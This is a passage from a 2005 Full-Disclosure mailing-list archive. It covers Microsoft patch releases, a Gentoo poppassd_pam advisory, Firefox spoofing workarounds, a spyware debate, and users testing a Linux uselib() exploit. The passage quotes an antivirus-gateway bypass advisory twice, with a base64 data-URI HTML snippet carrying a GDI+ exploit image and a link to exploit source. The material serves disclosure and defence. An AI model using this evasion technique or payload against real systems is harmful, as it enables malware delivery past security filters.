13:48:41 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: References: <200501111334.j0BDYZ9f008427@lists.netsys.com> <20050111161117.GJ214@DAPCVA.da> Message-ID: <41E41F89.50100@digitalmunition.com> Ok folks the damn sky IS NOT falling. I just checked my SUS install and I have 10 new updates... so should you. so lets all just FREAK OUT!@#$!@# -KF Micheal Espinola Jr wrote: >Nope, its the typically the 2nd Tuesday of the month. Also, they are >PST. Myself being EST, I dont expect to see anything until >mid-afternoon. > >MS did pre-announce that there would be a release today. You can >verify this on the web site. > > >On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer wrote: > > >>On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: >> >> >>>Where are they? >>>Mike >>> >>> >>Thursday usually, not tuesday? >> >>-- >>Vincent ARCHER >>varcher at denyall.com >> >>Tel : +33 (0)1 40 07 47 14 >>Fax : +33 (0)1 40 07 47 27 >>Deny All - 5, rue Scribe - 75009 Paris - France >>www.denyall.com >> >>_______________________________________________ >>Full-Disclosure - We believe in it. >>Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> >> > > > > From chris at get-tuf.com Tue Jan 11 18:49:28 2005 From: chris at get-tuf.com (Chris Brown) Date: Tue, 11 Jan 2005 18:49:28 -0000 (GMT) Subject: [Full-Disclosure] RE: I thought Microsoft were releasing new secu rity patches today (11 Jan 2005)? Message-ID: <64821.194.6.81.93.1105469368.squirrel@194.6.81.93> Da Plane, Da Plane..... http://www.microsoft.com/security/bulletins/200501_windows.mspx Tuffer "I could fly like an eagle but weasels don't get sucked into jet engines" From Mark.Handy at morganstanley.com Tue Jan 11 18:56:50 2005 From: Mark.Handy at morganstanley.com (Handy, Mark (IT)) Date: Tue, 11 Jan 2005 13:56:50 -0500 Subject: [Full-Disclosure] I thought Microsoft were releasing new securitypatches today (11 Jan 2005)? Message-ID: <627CD97A87B56C4BA6EB3FF91912090E02D55D70@NYWEXMB27.msad.ms.com> These are now out as MS05-001/2/3 -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Micheal Espinola Jr Sent: 11 January 2005 12:20 To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new securitypatches today (11 Jan 2005)? Nope, its the typically the 2nd Tuesday of the month. Also, they are PST. Myself being EST, I dont expect to see anything until mid-afternoon. MS did pre-announce that there would be a release today. You can verify this on the web site. On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer wrote: > On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote: > > Where are they? > > Mike > > Thursday usually, not tuesday? > > -- > Vincent ARCHER > varcher at denyall.com > > Tel : +33 (0)1 40 07 47 14 > Fax : +33 (0)1 40 07 47 27 > Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > -- ME2 rss: _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -------------------------------------------------------- NOTICE: If received in error, please destroy and notify sender. Sender does not waive confidentiality or privilege, and use is prohibited. From toddtowles at brookshires.com Tue Jan 11 19:04:50 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Tue, 11 Jan 2005 13:04:50 -0600 Subject: [Full-Disclosure] FW: New Security Patches from Microsoft Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E9036@dc1ms2.msad.brookshires.net> No IE patch, it would seem. > -----Original Message----- > From: Eric Schultze [mailto:eric.schultze at shavlik.com] > Sent: Tuesday, January 11, 2005 12:09 PM > To: Patch Management Mailing List > Subject: New Security Patches from Microsoft > > Three new security bulletins have been released > > > MS05-001 (Critical)Vulnerability in the Indexing Service > Could Allow Remote Code Execution (871250) Vulnerability in > HTML Help Could Allow Code Execution (890175) > http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx > > MS05-002 (Critical) > Vulnerability in Cursor and Icon Format Handling Could Allow > Remote Code Execution (891711) > http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx > > MS05-003 (Important) > Vulnerability in the Indexing Service Could Allow Remote Code > Execution > (871250) > http://www.microsoft.com/technet/security/Bulletin/MS05-003.mspx > > > > Happy Testing > > Eric > > > --- > To unsubscribe send a blank email to > leave-patchmanagement at patchmanagement.org > > --- > To unsubscribe send a blank email to > leave-patchmanagement at patchmanagement.org > From nocmonkey at gmail.com Tue Jan 11 19:14:17 2005 From: nocmonkey at gmail.com (Danny) Date: Tue, 11 Jan 2005 14:14:17 -0500 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass vulnerability In-Reply-To: References: Message-ID: On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Multi-vendor AV gateway image inspection bypass vulnerability > January 10, 2005 > > A vulnerability has been discovered which allows a remote attacker to > bypass anti-virus > (as well other security technologies such as IDS and IPS) inspection of > HTTP image content. > > By leveraging techniques described in RFC 2397 for base64 encoding > image content within > the URL scheme. A remote attack may encode a malicious image within the > body of an HTML > formatted document to circumvent content inspection. > > For example: > > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > > The source code at the URL above will by default create a JPEG image > that will attempt (and fail > without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. > The image itself is detected > by all AV gateway engines tested (Trend, Sophos and McAfee), however, > when the same image > is base64 encoded using the technique described in RFC 2397 (documented > below), inspection > is not performed and is delivered rendered by the client. > > While Microsoft Internet Explorer does not support the RFC 2397 URL > scheme; Firefox, Safari, > Mozilla and Opera do and will render the data and thus successfully > execute the payload if the necessary > OS and/or application patches have not been applied. > > ## BEGIN HTML ## > > > > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy > MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA > AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH > yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA > AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU > QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk > ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF > xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD// > Z"> > > > > ## END HTML ## > > Solution: > > While AV vendor patches are not yet available, fixes for all currently > known image vulnerabilities are > and have been for several months. If you have not yet applied them, > you have your own > negligence to blame. > > Contributions: > > Thanks to Scott Roeder and Jacinto Rodriquez their assistance in > platform testing. I believe TrendMicro's OfficeScan (client-server scanner) will catch it, but I am not sure about their gateway device. What was their response? ...D From fd.lists.dmargoli at af0.net Tue Jan 11 19:09:17 2005 From: fd.lists.dmargoli at af0.net (Dan Margolis) Date: Tue, 11 Jan 2005 14:09:17 -0500 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <41E41214.4040502@easynix.net> References: <200501081612.j08GCLrs013728@lists.netsys.com> <3dc922c3050108105762eef57f@mail.gmail.com> <41E41214.4040502@easynix.net> Message-ID: <20050111190917.GB2295@specialk> On Tue, Jan 11, 2005 at 06:51:16PM +0100, devis wrote: > Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not > NOT cash on their own slack coding. I'm confused. Are are you saying that "slack coding" by Microsoft is responsible for spyware/adware? Seems a bit of an odd interpretation. Here's mine: - It's very, very difficult to prevent people from voluntarily installing spyware on their own systems. There's no way to write a heuristic that can distinguish between an application that accesses the 'net on a regular basis for spying and one that does so for, say, monitoring a buddy list or checking for mail. - You can certainly whitelist applications, but this would prevent useres from being able to install obscure shareware apps, custom apps, etc. - Were MS to restrict access to their API in order to prevent spyware makers from doing obscure tricks with the registry and whatnot, they'd be accused, quite rightly, of anti-competitive tactics. Certainly some spyware results from poor restriction of web controls or something--I don't know the details, as I don't even use Windows--but I'd bet you the vast majority comes from users installing stuff they shouldn't--Kazaa, Snood, whatever--or from users clicking "OK" on banner ads that promise to speed your Internet connection. Much of the same goes for e-mail worms: so long as a user has permission to execute untrusted code and so long as that user has permission to send code to other people, he is easy prey for e-mail born worms. So, here's the question: does most spyware exploit some actual bug or design flaw? Or does it just use the user's gullibility? I suspect the latter. Flame on. -- Dan From koon at gentoo.org Tue Jan 11 19:57:17 2005 From: koon at gentoo.org (Thierry Carrez) Date: Tue, 11 Jan 2005 20:57:17 +0100 Subject: [Full-Disclosure] [ GLSA 200501-22 ] poppassd_pam: Unauthorized password changing Message-ID: <41E42F9D.3070808@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-22 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: poppassd_pam: Unauthorized password changing Date: January 11, 2005 Bugs: #75820 ID: 200501-22 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== poppassd_pam allows anyone to change any user's password without authenticating the user first. Background ========== poppassd_pam is a PAM-enabled server for changing system passwords that can be used to change POP server passwords. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- net-mail/poppassd_ceti <= 1.0 >= 1.8.4 net-mail/poppassd_pam <= 1.0 Vulnerable! ------------------------------------------------------------------- Description =========== Gentoo Linux developer Marcus Hanwell discovered that poppassd_pam did not check that the old password was valid before changing passwords. Our investigation revealed that poppassd_pam did not call pam_authenticate before calling pam_chauthtok. Impact ====== A remote attacker could change the system password of any user, including root. This leads to a complete compromise of the POP accounts, and may also lead to a complete root compromise of the affected server, if it also provides shell access authenticated using system passwords. Workaround ========== There is no known workaround at this time. Resolution ========== All poppassd_pam users should migrate to the new package called poppassd_ceti: # emerge --sync # emerge --ask --oneshot --verbose ">=net-mail/poppassd_ceti-1.8.4" Note: Portage will automatically replace the poppassd_pam package by the poppassd_ceti package. References ========== [ 1 ] CAN-2005-0002 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0002 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-22.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/63587f3b/attachment.bin From larry at larryseltzer.com Tue Jan 11 20:04:11 2005 From: larry at larryseltzer.com (Larry Seltzer) Date: Tue, 11 Jan 2005 15:04:11 -0500 Subject: [Full-Disclosure] FW: New Security Patches from Microsoft In-Reply-To: <9E97F0997FB84D42B221B9FB203EFA276E9036@dc1ms2.msad.brookshires.net> Message-ID: <200501112004.j0BK4Drs026341@lists.netsys.com> >>No IE patch, it would seem. No, but... > MS05-001 (Critical)Vulnerability in the Indexing Service Could Allow > Remote Code Execution (871250) Vulnerability in HTML Help Could Allow > Code Execution (890175) > http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx > > MS05-002 (Critical) > Vulnerability in Cursor and Icon Format Handling Could Allow Remote > Code Execution (891711) > http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx > Both of these address problems that have been exploited through IE. These are the ones that have gotten so much recent publicity. From peak at argo.troja.mff.cuni.cz Tue Jan 11 20:15:02 2005 From: peak at argo.troja.mff.cuni.cz (Pavel Kankovsky) Date: Tue, 11 Jan 2005 21:15:02 +0100 (MET) Subject: [Full-Disclosure] Re: Firespoofing [Firefox 1.0] In-Reply-To: <00c801c4f76b$36346020$280207d5@netvision.ads> Message-ID: <20050111205452.5AC2.0@argo.troja.mff.cuni.cz> On Tue, 11 Jan 2005, mikx wrote: > The bug is confirmed but currently unfixed (open for more than 3 months). As > a partial workaround set dom.disable_window_flip to true in about:config. Setting most of dom.disable_window_open_feature.* to true (and making it impossible to remove browser "decorations" from browser windows) is a pretty efficient (even if not 100% bullet-proof) way to thwart this kind of attack. As well as other GUI spoofing attacks. --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ] "Resistance is futile. Open your source code and prepare for assimilation." From Mark.Senior at gov.ab.ca Tue Jan 11 20:22:45 2005 From: Mark.Senior at gov.ab.ca (Mark Senior) Date: Tue, 11 Jan 2005 13:22:45 -0700 Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypassvulnerability Message-ID: <490D41B02BCAA943BC58CD5D31797B132A68FB@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca> Trend Micro OfficeScan client (version 6.5, virus definitions from 10 Jan 2005) didn't catch it in my case. I copied the html section from the original message straight to a text file and scanned that. I suppose it's possible some text wrapping munged the original posting Cheers Mark -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Danny Sent: January 11, 2005 12:14 To: Darren Bounds Cc: bugs at securitytracker.com; vulnwatch at vulnwatch.org; bugtraq at securityfocus.com; list at securiteam.com; full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Multi-vendor AV gateway image inspection bypassvulnerability On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Multi-vendor AV gateway image inspection bypass vulnerability January > 10, 2005 > > A vulnerability has been discovered which allows a remote attacker to > bypass anti-virus (as well other security technologies such as IDS and > IPS) inspection of HTTP image content. > > By leveraging techniques described in RFC 2397 for base64 encoding > image content within the URL scheme. A remote attack may encode a > malicious image within the body of an HTML formatted document to > circumvent content inspection. > > For example: > > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php > > The source code at the URL above will by default create a JPEG image > that will attempt (and fail without tweaking) to exploit the Microsoft > MS04-028 GDI+ vulnerability. > The image itself is detected > by all AV gateway engines tested (Trend, Sophos and McAfee), however, > when the same image is base64 encoded using the technique described in > RFC 2397 (documented below), inspection is not performed and is > delivered rendered by the client. > > While Microsoft Internet Explorer does not support the RFC 2397 URL > scheme; Firefox, Safari, Mozilla and Opera do and will render the data > and thus successfully execute the payload if the necessary OS and/or > application patches have not been applied. > > ## BEGIN HTML ## > > > > src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// > gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw > /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU > FB > QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBw > kJ > CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv > /b > AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj > Iy > MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAA > AA > AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMo > GR > oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 > Rl > ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc > bH > yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAA > yMnK0tPU1dbX2Nna4eLj5OXm5+AA > AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQ > gU > QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm > Nk > ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8 > TF > xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD/ > xsfIycrS09TV1tfY2dri4+/ > Z"> > > > > ## END HTML ## > > Solution: > > While AV vendor patches are not yet available, fixes for all currently > known image vulnerabilities are and have been for several months. If > you have not yet applied them, you have your own negligence to blame. > > Contributions: > > Thanks to Scott Roeder and Jacinto Rodriquez their assistance in > platform testing. I believe TrendMicro's OfficeScan (client-server scanner) will catch it, but I am not sure about their gateway device. What was their response? ...D _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. From toddtowles at brookshires.com Tue Jan 11 20:35:26 2005 From: toddtowles at brookshires.com (Todd Towles) Date: Tue, 11 Jan 2005 14:35:26 -0600 Subject: [Full-Disclosure] FW: New Security Patches from Microsoft Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E90A5@dc1ms2.msad.brookshires.net> Agreed, I spoke a bit too fast. Peter Kruse e-mail me directly and stated the same. Thanks for pointing that out. > -----Original Message----- > From: Larry Seltzer [mailto:larry at larryseltzer.com] > Sent: Tuesday, January 11, 2005 2:04 PM > To: Todd Towles; 'Mailing List - Full-Disclosure' > Subject: RE: [Full-Disclosure] FW: New Security Patches from Microsoft > > >>No IE patch, it would seem. > > No, but... > > > MS05-001 (Critical)Vulnerability in the Indexing Service > Could Allow > > Remote Code Execution (871250) Vulnerability in HTML Help > Could Allow > > Code Execution (890175) > > http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx > > > > MS05-002 (Critical) > > Vulnerability in Cursor and Icon Format Handling Could Allow Remote > > Code Execution (891711) > > http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx > > > > Both of these address problems that have been exploited through IE. > These are the ones that have gotten so much recent publicity. > > From devis at easynix.net Tue Jan 11 21:03:30 2005 From: devis at easynix.net (devis) Date: Tue, 11 Jan 2005 22:03:30 +0100 Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and Vulnerable In-Reply-To: <20050111190917.GB2295@specialk> References: <200501081612.j08GCLrs013728@lists.netsys.com> <3dc922c3050108105762eef57f@mail.gmail.com> <41E41214.4040502@easynix.net> <20050111190917.GB2295@specialk> Message-ID: <41E43F22.9030304@easynix.net> Dan Margolis wrote: >On Tue, Jan 11, 2005 at 06:51:16PM +0100, devis wrote: > > >>Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not >>NOT cash on their own slack coding. >> >> > >I'm confused. Are are you saying that "slack coding" by Microsoft is >responsible for spyware/adware? Seems a bit of an odd interpretation. >Here's mine: > >- It's very, very difficult to prevent people from voluntarily > installing spyware on their own systems. There's no way to write a > heuristic that can distinguish between an application that accesses > the 'net on a regular basis for spying and one that does so for, say, > monitoring a buddy list or checking for mail. > >- You can certainly whitelist applications, but this would prevent > useres from being able to install obscure shareware apps, custom apps, > etc. > >- Were MS to restrict access to their API in order to prevent spyware > makers from doing obscure tricks with the registry and whatnot, they'd > be accused, quite rightly, of anti-competitive tactics. > >Certainly some spyware results from poor restriction of web controls or >something--I don't know the details, as I don't even use Windows--but >I'd bet you the vast majority comes from users installing stuff they >shouldn't--Kazaa, Snood, whatever--or from users clicking "OK" on banner >ads that promise to speed your Internet connection. > >Much of the same goes for e-mail worms: so long as a user has permission >to execute untrusted code and so long as that user has permission to >send code to other people, he is easy prey for e-mail born worms. > >So, here's the question: does most spyware exploit some actual bug or >design flaw? Or does it just use the user's gullibility? I suspect the >latter. > >Flame on. >-- >Dan >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > It is prooved matter that spywares do exploits IE holes ( Iframes bugs, Active X etc etc ). Do your work on a few and you will see. Beside, you missed the point entirely: if an user, just by clicking, can install spyware on his machine, then the OS / browser is to blame, not the actual (bad) code (exploiting it) floating around websites. Once again, you are missing the point completely, if M$ didn't 'slack code' their OS, spyware would : 1) not install 2) therefore not exist in the form, numbers and variety we know them I'll give you a clue: try to get a 'tool bar' or some 'other added bonus' automagically on bsd/unix/linux/solaris using any browser, on any site, clicking randomly. As you said, 'It's very, very difficult to prevent people from voluntarily installing spyware on their own systems.' yes indeed, because MS made it that the average joe is an admin therefore has supreme powers out of the box. Usability costs security. Always has, always will. No Flames, Just information. From smenard at nbnet.nb.ca Tue Jan 11 21:23:40 2005 From: smenard at nbnet.nb.ca (steve menard) Date: Tue, 11 Jan 2005 17:23:40 -0400 Subject: [Full-Disclosure] Re: I thought Microsoft were releasing new security patches today (11 Jan 2005)? In-Reply-To: <3dc922c3050111080661091890@mail.gmail.com> References: <200501111334.j0BDYZ9f008427@lists.netsys.com> <3dc922c3050111080661091890@mail.gmail.com> Message-ID: <41E443DC.90902@nbnet.nb.ca> Matt Ostiguy wrote: >On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack wrote: > > >>Where are they? >>Mike >> >> > >My experience has been that the 2nd tuesday of the month patch drop >occurs late in the day or evening, Eastern Standard Time. > >Matt > > I just got 3 for windows 2000 server through Auto updates not there last week ;-0 From smenard at nbnet.nb.ca Tue Jan 11 21:27:21 2005 From: smenard at nbnet.nb.ca (steve menard) Date: Tue, 11 Jan 2005 17:27:21 -0400 Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation, corrected In-Reply-To: References: <888c2d720501102356552821df@mail.gmail.com> <20050111142052.GC968@miggy.org> Message-ID: <41E444B9.9050001@nbnet.nb.ca> Gaz Wilson wrote: >On Tue, 11 Jan 2005, Athanasius wrote: > > > >>On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote: >> >> >>>I'm running a small server with the 2.6.10 kernel. >>> >>>The exploit doesen't seem to be working on this kernel. Is there a way >>>to make sure the sistem is vulnerable or not? >>> >>> >> I couldn't get the exploit to work for 2.6.10 either. First there's >>changing a struct in it to user_desc to make it compile, then it just >>SEGVs all the time here. >> >> > >I get it compiled and running on 2.6.8, but it doesn't do anything, other >than hog all available CPU for about 10-15 minutes followed by: > >[-] FAILED: try again (-f switch) and again (Cannot allocate memory) >Killed > >The same thing happens with the -f switch, except the process gets stopped >(SIGSTOP) instead of killed after the alloted time. > > > My RedHat 8.0 system won't give up id 0 although I do have a semi-permanent DOS on my hands right now with ./exploit -n5 ;-) since 4 hours ago ;-{ I expect I just don't have thew commandline correct Although it may [doubtful] be Bastille settings steve From kju-fd at fqdn.org Tue Jan 11 21:41:41 2005 From: kju-fd at fqdn.org (Michael Holzt) Date: Tue, 11 Jan 2005 22:41:41 +0100 Subject: 